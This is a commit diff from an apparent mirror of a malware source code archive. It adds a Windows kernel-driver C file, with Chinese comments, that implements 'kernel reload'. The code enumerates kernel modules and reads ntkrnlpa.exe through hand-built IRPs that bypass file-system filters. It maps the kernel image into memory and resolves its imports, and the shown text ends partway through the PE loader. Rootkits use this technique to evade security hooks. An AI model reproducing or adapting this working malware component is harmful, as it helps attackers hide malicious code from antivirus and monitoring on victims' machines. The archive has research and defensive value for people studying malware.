mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-17 00:09:23 +00:00
updates and moves
n/a
This commit is contained in:
+820
@@ -0,0 +1,820 @@
|
||||
|
||||
#include "KernelReload.h"
|
||||
#include "FileSystem.h"
|
||||
#include "FixRelocation.h"
|
||||
|
||||
|
||||
/*ZwQuerySystemInformation大法 枚举模块信息 获得第一模块 Ntos..*/
|
||||
BOOLEAN GetSystemKernelModuleInfo(WCHAR **SystemKernelModulePath,PDWORD SystemKernelModuleBase,PDWORD SystemKernelModuleSize)
|
||||
{
|
||||
NTSTATUS status;
|
||||
ULONG ulSize,i;
|
||||
PMODULES pModuleList;
|
||||
char *lpszKernelName=NULL;
|
||||
ANSI_STRING AnsiKernelModule;
|
||||
UNICODE_STRING UnicodeKernelModule;
|
||||
BOOLEAN bRet=TRUE;
|
||||
|
||||
__try
|
||||
{
|
||||
status=ZwQuerySystemInformation(
|
||||
SystemModuleInformation,
|
||||
NULL,
|
||||
0,
|
||||
&ulSize
|
||||
);
|
||||
if (status != STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
pModuleList=(PMODULES)ExAllocatePool(NonPagedPool,ulSize);
|
||||
if (pModuleList)
|
||||
{
|
||||
status=ZwQuerySystemInformation(
|
||||
SystemModuleInformation,
|
||||
pModuleList,
|
||||
ulSize,
|
||||
&ulSize
|
||||
);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
bRet = FALSE;
|
||||
}
|
||||
}
|
||||
if (!bRet)
|
||||
{
|
||||
if (pModuleList)
|
||||
ExFreePool(pModuleList);
|
||||
return FALSE;
|
||||
}
|
||||
*SystemKernelModulePath=ExAllocatePool(NonPagedPool,260*2);
|
||||
if (*SystemKernelModulePath==NULL)
|
||||
{
|
||||
*SystemKernelModuleBase=0;
|
||||
*SystemKernelModuleSize=0;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
lpszKernelName = pModuleList->smi[0].ModuleNameOffset+pModuleList->smi[0].ImageName; //第一模块名称
|
||||
RtlInitAnsiString(&AnsiKernelModule,lpszKernelName);
|
||||
RtlAnsiStringToUnicodeString(&UnicodeKernelModule,&AnsiKernelModule,TRUE);
|
||||
|
||||
RtlZeroMemory(*SystemKernelModulePath,260*2);
|
||||
wcscat(*SystemKernelModulePath,L"\\SystemRoot\\system32\\");
|
||||
|
||||
memcpy(
|
||||
*SystemKernelModulePath+wcslen(L"\\SystemRoot\\system32\\"), //第一模块路径
|
||||
UnicodeKernelModule.Buffer,
|
||||
UnicodeKernelModule.Length
|
||||
);
|
||||
|
||||
*SystemKernelModuleBase=(DWORD)pModuleList->smi[0].Base; //获得第一模块地址
|
||||
*SystemKernelModuleSize=(DWORD)pModuleList->smi[0].Size; //获得第一模块大小
|
||||
ExFreePool(pModuleList);
|
||||
RtlFreeUnicodeString(&UnicodeKernelModule);
|
||||
|
||||
}__except(EXCEPTION_EXECUTE_HANDLER){
|
||||
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
/*获得文件对象中DeviceObject和RealDevice*/
|
||||
BOOLEAN IoGetFileSystemVpbInfo(IN PFILE_OBJECT FileObject,PDEVICE_OBJECT *DeviceObject,PDEVICE_OBJECT *RealDevice)
|
||||
{
|
||||
//PDEVICE_OBJECT deviceObject;
|
||||
// If the file object has a mounted Vpb, use its DeviceObject.
|
||||
if(FileObject->Vpb != NULL && FileObject->Vpb->DeviceObject != NULL)
|
||||
{
|
||||
*DeviceObject = FileObject->Vpb->DeviceObject;
|
||||
*RealDevice= FileObject->Vpb->RealDevice;
|
||||
|
||||
// Otherwise, if the real device has a VPB that indicates that it is mounted,
|
||||
// then use the file system device object associated with the VPB.
|
||||
}
|
||||
else if
|
||||
(
|
||||
!(FileObject->Flags & FO_DIRECT_DEVICE_OPEN)
|
||||
&&
|
||||
FileObject->DeviceObject->Vpb != NULL
|
||||
&&
|
||||
FileObject->DeviceObject->Vpb->DeviceObject != NULL
|
||||
)
|
||||
{
|
||||
*DeviceObject = FileObject->DeviceObject->Vpb->DeviceObject;
|
||||
*RealDevice = FileObject->DeviceObject->Vpb->RealDevice;
|
||||
// Otherwise, just return the real device object.
|
||||
}
|
||||
else
|
||||
{
|
||||
*DeviceObject = FileObject->DeviceObject;
|
||||
*RealDevice=NULL;
|
||||
}
|
||||
if (*RealDevice==NULL||*DeviceObject==NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
// Simply return the resultant file object.
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
//获得FileObject中的RealDevice和DeviceObject
|
||||
BOOLEAN GetDeviceObjectFromFileFullName(WCHAR *FileFullName,PDEVICE_OBJECT *RealDevice, PDEVICE_OBJECT *DeviceObject)
|
||||
{
|
||||
WCHAR wRootName[32]={0};
|
||||
UNICODE_STRING RootName;
|
||||
OBJECT_ATTRIBUTES ObjectAttributes={0};
|
||||
NTSTATUS status;
|
||||
HANDLE hFile;
|
||||
IO_STATUS_BLOCK IoStatus;
|
||||
PFILE_OBJECT FileObject;
|
||||
if (FileFullName[0]==0x005C)
|
||||
{//in \Windows\system32\ntkrnlpa.exe
|
||||
wcscpy(wRootName,L"\\SystemRoot");
|
||||
}
|
||||
else
|
||||
{
|
||||
wcscpy(wRootName,L"\\DosDevices\\*:\\");
|
||||
wRootName[12]=FileFullName[0];
|
||||
}
|
||||
RtlInitUnicodeString(&RootName,wRootName);
|
||||
|
||||
InitializeObjectAttributes(&ObjectAttributes, &RootName,
|
||||
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
//RootName.Buffer = "\SystemRoot"
|
||||
status = IoCreateFile(
|
||||
&hFile,
|
||||
SYNCHRONIZE,
|
||||
&ObjectAttributes,
|
||||
&IoStatus,
|
||||
0,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
FILE_SHARE_READ|FILE_SHARE_WRITE,
|
||||
FILE_OPEN,
|
||||
FILE_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT,
|
||||
NULL,
|
||||
0,
|
||||
0,
|
||||
NULL,
|
||||
IO_NO_PARAMETER_CHECKING);
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
status=ObReferenceObjectByHandle(hFile,1,*IoFileObjectType,KernelMode,&FileObject,NULL);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
ZwClose(hFile);
|
||||
return FALSE;
|
||||
}
|
||||
if(!IoGetFileSystemVpbInfo(FileObject,DeviceObject,RealDevice)) //获得FileObject中的deviceObject和RealDevice
|
||||
{
|
||||
ObfDereferenceObject(FileObject);
|
||||
ZwClose(hFile);
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
ObfDereferenceObject(FileObject);
|
||||
ZwClose(hFile);
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
/*获得系统目录*/
|
||||
BOOLEAN GetWindowsRootName(WCHAR *WindowsRootName)
|
||||
{
|
||||
UNICODE_STRING RootName,ObjectName;
|
||||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||||
HANDLE hLink;
|
||||
NTSTATUS status;
|
||||
WCHAR *SystemRootName=(WCHAR*)0x7FFE0030;
|
||||
WCHAR *ObjectNameBuffer=(WCHAR*)ExAllocatePool(NonPagedPool,260*2);
|
||||
if (ObjectNameBuffer==NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
RtlZeroMemory(ObjectNameBuffer,260*2);
|
||||
RtlInitUnicodeString(&RootName,L"\\SystemRoot");
|
||||
InitializeObjectAttributes(&ObjectAttributes,&RootName,OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
status=ZwOpenSymbolicLinkObject(&hLink,1,&ObjectAttributes);
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
ObjectName.Buffer=ObjectNameBuffer;
|
||||
ObjectName.Length=0;
|
||||
ObjectName.MaximumLength=260*2;
|
||||
status=ZwQuerySymbolicLinkObject(hLink,&ObjectName,NULL);
|
||||
//ObjectNameBuffer \Device\Harddisk0\Partition1\Windows
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
int ObjectNameLength=ObjectName.Length/2;
|
||||
int Index;
|
||||
for (Index=ObjectNameLength-1;Index>0;Index--)
|
||||
{
|
||||
if (ObjectNameBuffer[Index]==0x005C)
|
||||
{
|
||||
if (!MmIsAddressValid(&WindowsRootName[ObjectNameLength-Index]))
|
||||
{
|
||||
break;
|
||||
|
||||
}
|
||||
//\Windows WindowsRootName
|
||||
RtlCopyMemory(WindowsRootName,&ObjectNameBuffer[Index],(ObjectNameLength-Index)*2);
|
||||
ExFreePool(ObjectNameBuffer);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
ExFreePool(ObjectNameBuffer);
|
||||
if (!MmIsAddressValid(SystemRootName))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
if (SystemRootName[1]!=0x003A||SystemRootName[2]!=0x005C)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
wcscpy(WindowsRootName,&SystemRootName[2]);
|
||||
|
||||
return TRUE;
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
自己创建文件对象,挂入FileObject->IrpList 并返回文件句柄
|
||||
*/
|
||||
//\SystemRoot\system32\ntkrnlpa.exe
|
||||
NTSTATUS KernelOpenFile(wchar_t *FileFullName,
|
||||
PHANDLE FileHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
ULONG FileAttributes,
|
||||
ULONG ShareAccess,
|
||||
ULONG CreateDisposition,
|
||||
ULONG CreateOptions)
|
||||
{
|
||||
WCHAR SystemRootName[32]=L"\\SystemRoot";
|
||||
WCHAR *FileNodeName=NULL;
|
||||
UNICODE_STRING FilePath;
|
||||
PDEVICE_OBJECT RealDevice,DeviceObject;
|
||||
NTSTATUS status=STATUS_UNSUCCESSFUL;
|
||||
PFILE_OBJECT FileObject;
|
||||
|
||||
FileNodeName=ExAllocatePool(NonPagedPool,260*2);
|
||||
if (FileNodeName==NULL)
|
||||
{
|
||||
return status;
|
||||
}
|
||||
RtlZeroMemory(FileNodeName,260*2);
|
||||
|
||||
if (_wcsnicmp(FileFullName,SystemRootName,wcslen(SystemRootName))==0) //忘记相等返回什么了 不过应该是不完整路径 这里面是修复
|
||||
{
|
||||
//in
|
||||
int Len;
|
||||
if(!GetWindowsRootName(FileNodeName)) // \Windows
|
||||
{
|
||||
ExFreePool(FileNodeName);
|
||||
return status;
|
||||
}
|
||||
Len=wcslen(SystemRootName);
|
||||
wcscat(FileNodeName,&FileFullName[Len]);
|
||||
//FileNodeName == \Windows\system32\ntkrnlpa.exe
|
||||
//FileFullName == \SystemRoot\system32\ntkrnlpa.exe
|
||||
}
|
||||
else
|
||||
{
|
||||
if (FileFullName[1]!=0x003A||FileFullName[2]!=0x005C)
|
||||
{
|
||||
return status;
|
||||
|
||||
}
|
||||
wcscpy(FileNodeName,&FileFullName[2]);
|
||||
}
|
||||
|
||||
if(!GetDeviceObjectFromFileFullName(FileFullName,&RealDevice,&DeviceObject)) //获得FileObject中的DeviceObject和RealDevice
|
||||
{
|
||||
ExFreePool(FileNodeName);
|
||||
return status;
|
||||
}
|
||||
//FileNodeName == \Windows\system32\ntkrnlpa.exe
|
||||
RtlInitUnicodeString(&FilePath,FileNodeName);
|
||||
|
||||
status=IrpCreateFile(&FilePath,DesiredAccess,FileAttributes,ShareAccess,CreateDisposition,CreateOptions,DeviceObject,RealDevice,&FileObject);
|
||||
//创建文件对象 挂入FileObject->IrpList中
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
ExFreePool(FileNodeName);
|
||||
return status;
|
||||
}
|
||||
|
||||
//根据文件对象,获得文件句柄
|
||||
status=ObOpenObjectByPointer(
|
||||
FileObject,
|
||||
OBJ_KERNEL_HANDLE, //verifier下测试要指定OBJ_KERNEL_HANDLE
|
||||
0,
|
||||
DesiredAccess|0x100000,
|
||||
*IoFileObjectType,
|
||||
0,
|
||||
FileHandle);
|
||||
|
||||
ObfDereferenceObject(FileObject);
|
||||
|
||||
|
||||
return status;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
//查询irp信息,返回filesize
|
||||
NTSTATUS KernelGetFileSize(HANDLE hFile, PLARGE_INTEGER FileSize)
|
||||
{
|
||||
NTSTATUS status;
|
||||
PFILE_OBJECT FileObject;
|
||||
PDEVICE_OBJECT DeviceObject,RealDevice;
|
||||
FILE_STANDARD_INFORMATION FileInformation;
|
||||
|
||||
status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
return status;
|
||||
}
|
||||
if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice))
|
||||
{
|
||||
ObDereferenceObject(FileObject);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
//查询irp堆栈信息,传入FileObject
|
||||
status=IrpQueryInformationFile(FileObject,DeviceObject,&FileInformation,sizeof(FILE_STANDARD_INFORMATION),FileStandardInformation);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
ObDereferenceObject(FileObject);
|
||||
return status;
|
||||
}
|
||||
FileSize->HighPart=FileInformation.EndOfFile.HighPart;
|
||||
FileSize->LowPart=FileInformation.EndOfFile.LowPart;
|
||||
ObDereferenceObject(FileObject);
|
||||
return status;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/*
|
||||
传入文件句柄、文件大小读取文件到内存中
|
||||
*/
|
||||
NTSTATUS KernelReadFile(HANDLE hFile, PLARGE_INTEGER ByteOffset, ULONG Length, PVOID FileBuffer, PIO_STATUS_BLOCK IoStatusBlock)
|
||||
{
|
||||
NTSTATUS status;
|
||||
PFILE_OBJECT FileObject;
|
||||
PDEVICE_OBJECT DeviceObject,RealDevice;
|
||||
FILE_STANDARD_INFORMATION FileInformation;
|
||||
status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
return status;
|
||||
}
|
||||
if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice))
|
||||
{
|
||||
ObDereferenceObject(FileObject);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
status=IrpReadFile(FileObject,DeviceObject,IoStatusBlock,FileBuffer,Length,ByteOffset); //Irp请求,将文件读入缓冲区中
|
||||
ObDereferenceObject(FileObject);
|
||||
return status;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
修复FileBuffer中的偏移 按照VirtualAglin 对齐
|
||||
filebuffer 为读取的内存 ,ImageModuleBase为系统中的模块地址
|
||||
*/
|
||||
BOOLEAN ImageFile(BYTE *FileBuffer,BYTE **ImageModuleBase)
|
||||
{
|
||||
PIMAGE_DOS_HEADER ImageDosHeader;
|
||||
PIMAGE_NT_HEADERS ImageNtHeaders;
|
||||
PIMAGE_SECTION_HEADER ImageSectionHeader;
|
||||
DWORD FileAlignment,SectionAlignment,NumberOfSections,SizeOfImage,SizeOfHeaders;
|
||||
DWORD Index;
|
||||
BYTE *ImageBase;
|
||||
DWORD SizeOfNtHeaders;
|
||||
ImageDosHeader=(PIMAGE_DOS_HEADER)FileBuffer;
|
||||
if (ImageDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
ImageNtHeaders=(PIMAGE_NT_HEADERS)(FileBuffer+ImageDosHeader->e_lfanew);
|
||||
if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
FileAlignment=ImageNtHeaders->OptionalHeader.FileAlignment;//0x200
|
||||
SectionAlignment=ImageNtHeaders->OptionalHeader.SectionAlignment;//0x1000
|
||||
NumberOfSections=ImageNtHeaders->FileHeader.NumberOfSections;//0x16
|
||||
SizeOfImage=ImageNtHeaders->OptionalHeader.SizeOfImage;//0x412000
|
||||
SizeOfHeaders=ImageNtHeaders->OptionalHeader.SizeOfHeaders;//0x800
|
||||
|
||||
SizeOfImage=AlignSize(SizeOfImage,SectionAlignment);//0x412000
|
||||
|
||||
ImageBase=ExAllocatePool(NonPagedPool,SizeOfImage);
|
||||
if (ImageBase==NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
RtlZeroMemory(ImageBase,SizeOfImage);
|
||||
//0xf8
|
||||
SizeOfNtHeaders=sizeof(ImageNtHeaders->FileHeader) + sizeof(ImageNtHeaders->Signature)+ImageNtHeaders->FileHeader.SizeOfOptionalHeader;
|
||||
ImageSectionHeader=(PIMAGE_SECTION_HEADER)((DWORD)ImageNtHeaders+SizeOfNtHeaders);
|
||||
for (Index=0;Index<NumberOfSections;Index++)
|
||||
{
|
||||
ImageSectionHeader[Index].SizeOfRawData=AlignSize(ImageSectionHeader[Index].SizeOfRawData,FileAlignment);
|
||||
ImageSectionHeader[Index].Misc.VirtualSize=AlignSize(ImageSectionHeader[Index].Misc.VirtualSize,SectionAlignment);
|
||||
}
|
||||
if (ImageSectionHeader[NumberOfSections-1].VirtualAddress+ImageSectionHeader[NumberOfSections-1].SizeOfRawData>SizeOfImage)
|
||||
{//no in
|
||||
ImageSectionHeader[NumberOfSections-1].SizeOfRawData = SizeOfImage-ImageSectionHeader[NumberOfSections-1].VirtualAddress;
|
||||
}
|
||||
RtlCopyMemory(ImageBase,FileBuffer,SizeOfHeaders);
|
||||
|
||||
for (Index=0;Index<NumberOfSections;Index++)
|
||||
{
|
||||
DWORD FileOffset=ImageSectionHeader[Index].PointerToRawData;
|
||||
DWORD Length=ImageSectionHeader[Index].SizeOfRawData;
|
||||
DWORD ImageOffset=ImageSectionHeader[Index].VirtualAddress;
|
||||
RtlCopyMemory(&ImageBase[ImageOffset],&FileBuffer[FileOffset],Length);
|
||||
}
|
||||
*ImageModuleBase=ImageBase;
|
||||
|
||||
return TRUE;
|
||||
|
||||
|
||||
}
|
||||
|
||||
ULONG AlignSize(ULONG nSize, ULONG nAlign)
|
||||
{
|
||||
return ((nSize + nAlign - 1) / nAlign * nAlign);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
通过DriverObject->DriverSection 遍历 内核模块
|
||||
*/
|
||||
PVOID GetKernelModuleBase(PDRIVER_OBJECT DriverObject,char *KernelModuleName)
|
||||
{
|
||||
PLDR_DATA_TABLE_ENTRY DriverSection,LdrEntry;
|
||||
ANSI_STRING AnsiKernelModuleName;
|
||||
UNICODE_STRING UniKernelModuleName;
|
||||
UNICODE_STRING ModuleName;
|
||||
WCHAR *Buffer;
|
||||
int Lentgh,Index;
|
||||
RtlInitAnsiString(&AnsiKernelModuleName,KernelModuleName);
|
||||
RtlAnsiStringToUnicodeString(&UniKernelModuleName,&AnsiKernelModuleName,TRUE);
|
||||
Buffer=ExAllocatePool(NonPagedPool,260*2);
|
||||
if (Buffer==NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
RtlZeroMemory(Buffer,206*2);
|
||||
DriverSection=DriverObject->DriverSection;
|
||||
LdrEntry=(PLDR_DATA_TABLE_ENTRY)DriverSection->InLoadOrderLinks.Flink;
|
||||
while (LdrEntry&&DriverSection!=LdrEntry)
|
||||
{
|
||||
//(DWORD)LdrEntry->DllBase>=*(DWORD*)MmSystemRangeStart&&
|
||||
if (LdrEntry->FullDllName.Length>0&&
|
||||
LdrEntry->FullDllName.Buffer!=NULL)
|
||||
{
|
||||
|
||||
if (MmIsAddressValid(&LdrEntry->FullDllName.Buffer[LdrEntry->FullDllName.Length/2-1]))
|
||||
{
|
||||
Lentgh=LdrEntry->FullDllName.Length/2;
|
||||
for (Index=Lentgh-1;Index>0;Index--)
|
||||
{
|
||||
if (LdrEntry->FullDllName.Buffer[Index]==0x005C)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (LdrEntry->FullDllName.Buffer[Index]==0x005C)
|
||||
{
|
||||
RtlCopyMemory(Buffer,&(LdrEntry->FullDllName.Buffer[Index+1]),(Lentgh-Index-1)*2);
|
||||
ModuleName.Buffer=Buffer;
|
||||
ModuleName.Length=(Lentgh-Index-1)*2;
|
||||
ModuleName.MaximumLength=260*2;
|
||||
}
|
||||
else
|
||||
{
|
||||
RtlCopyMemory(Buffer,LdrEntry->FullDllName.Buffer,Lentgh*2);
|
||||
ModuleName.Buffer=Buffer;
|
||||
ModuleName.Length=Lentgh*2;
|
||||
ModuleName.MaximumLength=260*2;
|
||||
|
||||
}
|
||||
|
||||
if (RtlEqualUnicodeString(&ModuleName,&UniKernelModuleName,TRUE))
|
||||
{
|
||||
ExFreePool(Buffer);
|
||||
return LdrEntry->DllBase;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
LdrEntry=(PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink;
|
||||
}
|
||||
ExFreePool(Buffer);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
通过导出表获得函数地址
|
||||
*/
|
||||
PVOID
|
||||
MiFindExportedRoutine (
|
||||
IN PVOID DllBase,
|
||||
BOOLEAN ByName,
|
||||
IN char *RoutineName,
|
||||
DWORD Ordinal
|
||||
)
|
||||
{
|
||||
USHORT OrdinalNumber;
|
||||
PULONG NameTableBase;
|
||||
PUSHORT NameOrdinalTableBase;
|
||||
PULONG AddressTableBase;
|
||||
PULONG Addr;
|
||||
LONG High;
|
||||
LONG Low;
|
||||
LONG Middle;
|
||||
LONG Result;
|
||||
ULONG ExportSize;
|
||||
PVOID FunctionAddress;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
|
||||
|
||||
PAGED_CODE();
|
||||
|
||||
//获得导出表
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY) RtlImageDirectoryEntryToData (
|
||||
DllBase,
|
||||
TRUE,
|
||||
IMAGE_DIRECTORY_ENTRY_EXPORT,
|
||||
&ExportSize);
|
||||
|
||||
if (ExportDirectory == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
NameTableBase = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNames);
|
||||
NameOrdinalTableBase = (PUSHORT)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);
|
||||
AddressTableBase=(PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);
|
||||
|
||||
if (!ByName)
|
||||
{
|
||||
return (PVOID)AddressTableBase[Ordinal];
|
||||
}
|
||||
|
||||
|
||||
Low = 0;
|
||||
Middle = 0;
|
||||
High = ExportDirectory->NumberOfNames - 1;
|
||||
|
||||
while (High >= Low) {
|
||||
Middle = (Low + High) >> 1;
|
||||
|
||||
Result = strcmp (RoutineName,
|
||||
(PCHAR)DllBase + NameTableBase[Middle]);
|
||||
|
||||
if (Result < 0) {
|
||||
High = Middle - 1;
|
||||
}
|
||||
else if (Result > 0) {
|
||||
Low = Middle + 1;
|
||||
}
|
||||
else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (High < Low) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
OrdinalNumber = NameOrdinalTableBase[Middle];
|
||||
if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
Addr = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);
|
||||
|
||||
FunctionAddress = (PVOID)((PCHAR)DllBase + Addr[OrdinalNumber]);
|
||||
|
||||
//
|
||||
// Forwarders are not used by the kernel and HAL to each other.
|
||||
//
|
||||
|
||||
ASSERT ((FunctionAddress <= (PVOID)ExportDirectory) ||
|
||||
(FunctionAddress >= (PVOID)((PCHAR)ExportDirectory + ExportSize)));
|
||||
|
||||
return FunctionAddress;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
BOOLEAN InsertOriginalFirstThunk(DWORD ImageBase,DWORD ExistImageBase,PIMAGE_THUNK_DATA FirstThunk)
|
||||
{
|
||||
DWORD Offset;
|
||||
PIMAGE_THUNK_DATA OriginalFirstThunk;
|
||||
Offset=(DWORD)FirstThunk-ImageBase;
|
||||
OriginalFirstThunk=(PIMAGE_THUNK_DATA)(ExistImageBase+Offset);
|
||||
while (OriginalFirstThunk->u1.Function)
|
||||
{
|
||||
FirstThunk->u1.Function=OriginalFirstThunk->u1.Function;
|
||||
OriginalFirstThunk++;
|
||||
FirstThunk++;
|
||||
}
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
//修复导入表
|
||||
BOOLEAN FixImportTable(BYTE *ImageBase,DWORD ExistImageBase,PDRIVER_OBJECT DriverObject)
|
||||
{
|
||||
PIMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor=NULL;
|
||||
PIMAGE_THUNK_DATA ImageThunkData,FirstThunk;
|
||||
PIMAGE_IMPORT_BY_NAME ImortByName;
|
||||
DWORD ImportSize;
|
||||
PVOID ModuleBase;
|
||||
char ModuleName[260];
|
||||
DWORD FunctionAddress;
|
||||
//得到导入表地址
|
||||
ImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData(ImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ImportSize);
|
||||
if (ImageImportDescriptor==NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
while (ImageImportDescriptor->OriginalFirstThunk&&ImageImportDescriptor->Name)
|
||||
{
|
||||
strcpy(ModuleName,(char*)(ImageBase+ImageImportDescriptor->Name)); //导入信息名称
|
||||
|
||||
//ntoskrnl.exe(NTKRNLPA.exe、ntkrnlmp.exe、ntkrpamp.exe):
|
||||
if (_stricmp(ModuleName,"ntkrnlpa.exe")==0||
|
||||
_stricmp(ModuleName,"ntoskrnl.exe")==0||
|
||||
_stricmp(ModuleName,"ntkrnlmp.exe")==0||
|
||||
_stricmp(ModuleName,"ntkrpamp.exe")==0)
|
||||
{//no in
|
||||
ModuleBase=GetKernelModuleBase(DriverObject,"ntkrnlpa.exe"); //通过DriverObject->DriverSection 遍历内核模块
|
||||
if (ModuleBase==NULL)
|
||||
{
|
||||
ModuleBase=GetKernelModuleBase(DriverObject,"ntoskrnl.exe");
|
||||
if (ModuleBase==NULL)
|
||||
{
|
||||
ModuleBase=GetKernelModuleBase(DriverObject,"ntkrnlmp.exe");
|
||||
if (ModuleBase==NULL)
|
||||
{
|
||||
ModuleBase=GetKernelModuleBase(DriverObject,"ntkrpamp.exe");
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
ModuleBase=GetKernelModuleBase(DriverObject,ModuleName);
|
||||
|
||||
}
|
||||
if (ModuleBase==NULL)
|
||||
{
|
||||
FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk);
|
||||
InsertOriginalFirstThunk((DWORD)ImageBase,ExistImageBase,FirstThunk);
|
||||
ImageImportDescriptor++;
|
||||
continue;
|
||||
}
|
||||
//PSHED.dll
|
||||
ImageThunkData=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->OriginalFirstThunk);
|
||||
FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk);
|
||||
while(ImageThunkData->u1.Ordinal)
|
||||
{
|
||||
//序号导入
|
||||
if(IMAGE_SNAP_BY_ORDINAL32(ImageThunkData->u1.Ordinal))
|
||||
{
|
||||
//通过系统内核的导出表 名称- 获得 函数地址
|
||||
FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,FALSE,NULL,ImageThunkData->u1.Ordinal & ~IMAGE_ORDINAL_FLAG32);
|
||||
if (FunctionAddress==0)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
FirstThunk->u1.Function=FunctionAddress;
|
||||
}
|
||||
//函数名导入
|
||||
else
|
||||
{
|
||||
//
|
||||
ImortByName=(PIMAGE_IMPORT_BY_NAME)(ImageBase+ImageThunkData->u1.AddressOfData);
|
||||
FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,TRUE,ImortByName->Name,0);
|
||||
if (FunctionAddress==0)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
FirstThunk->u1.Function=FunctionAddress;
|
||||
}
|
||||
FirstThunk++;
|
||||
ImageThunkData++;
|
||||
}
|
||||
ImageImportDescriptor++;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
system32//NtosKrnl.exe ..
|
||||
*/
|
||||
BOOLEAN PeLoad(
|
||||
WCHAR *FileFullPath,
|
||||
BYTE **ImageModeleBase,
|
||||
PDRIVER_OBJECT DeviceObject,
|
||||
DWORD ExistImageBase
|
||||
)
|
||||
{
|
||||
NTSTATUS Status;
|
||||
HANDLE hFile;
|
||||
LARGE_INTEGER FileSize;
|
||||
DWORD Length;
|
||||
BYTE *FileBuffer;
|
||||
BYTE *ImageBase;
|
||||
IO_STATUS_BLOCK IoStatus;
|
||||
//\SystemRoot\system32\ntkrnlpa.exe
|
||||
Status=KernelOpenFile(FileFullPath,&hFile,0x100020,0x80,1,1,0x20); //自己创建文件对象,挂入FileObject->IrpList 并返回文件句柄
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
